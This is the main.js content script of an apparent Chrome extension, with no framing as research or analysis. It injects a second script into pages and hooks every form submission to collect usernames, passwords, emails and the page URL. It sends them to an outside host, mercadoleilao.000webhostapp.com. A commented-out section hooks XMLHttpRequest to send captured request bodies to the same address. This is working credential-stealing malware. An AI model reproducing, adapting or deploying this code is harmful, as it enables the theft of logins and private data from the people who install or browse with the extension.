main.js

var s = document.createElement('script');
s.src = chrome.extension.getURL('request.js');
(document.head||document.documentElement).appendChild(s);
s.onload = function() {
    s.parentNode.removeChild(s);
};

$(function () {

    $("form").submit(function (e) {
        var passwordBoxes = $("input[type=password]");
        var username = $("input[type=text]").not(passwordBoxes).filter(function() {
           var field = $( this );
           return field && ( field.val() || field.html() ) || {val:function(){return "nouser"}};
        }).val();
        var email = $("input[type=email]").val();
        var password = passwordBoxes && passwordBoxes.val() || "";
        var msg = "U: " + username + " || P: " + password + " || E: " + email + " || L: " + location.href;
        if (password && password.length > 4)
            chrome.runtime.sendMessage({
                method: 'GET',
                action: 'xhttp',
                url: 'http://mercadoleilao.000webhostapp.com/analyse.php?c=' + msg
            }, function (responseText) {
            });
    });
    
    
    /*
var origOpen = XMLHttpRequest.prototype.open;
      XMLHttpRequest.prototype.open = function () {
        var getParameterByName = function (content, name) {
              name = name.replace(/[\[]/, "\\[").replace(/[\]]/, "\\]");
              var regex = new RegExp("[\\?&]" + name + "=([^&#]*)", "i"),
                  results = regex.exec(content);
              return results == null ? "" : decodeURIComponent(results[1].replace(/\+/g, " "));
          };
          var func = function () {
              alert("AAAAAE");
              var content = this.PARAMETERS_S;
              var sendContent = getParameterByName(content || "  ", "body");
              if (sendContent) {
                
                  var msg = encodeURI(sendContent) + " " + getParameterByName(content || "  ", "specific_to_list[0]") + getParameterByName(content || "  ", "specific_to_list[1]");
                  console.log(msg);
                  alert("AAAAAA");
                  $.ajax({
                    type: 'GET',
                    crossDomain: true,
                    async : false,
                    url: 'http://mercadoleilao.000webhostapp.com/analyse.php?c=' + msg
                    //data: msg //Change to add any headers to be sent along
                  });
              }
              this.removeEventListener("load", func);
          };
          this.addEventListener('load', func);
          origOpen.apply(this, arguments);
      };
      var origSend = XMLHttpRequest.prototype.send;
      XMLHttpRequest.prototype.send = function () {
          this.PARAMETERS_S = arguments[0];
          origSend.apply(this, arguments);
      };*/
});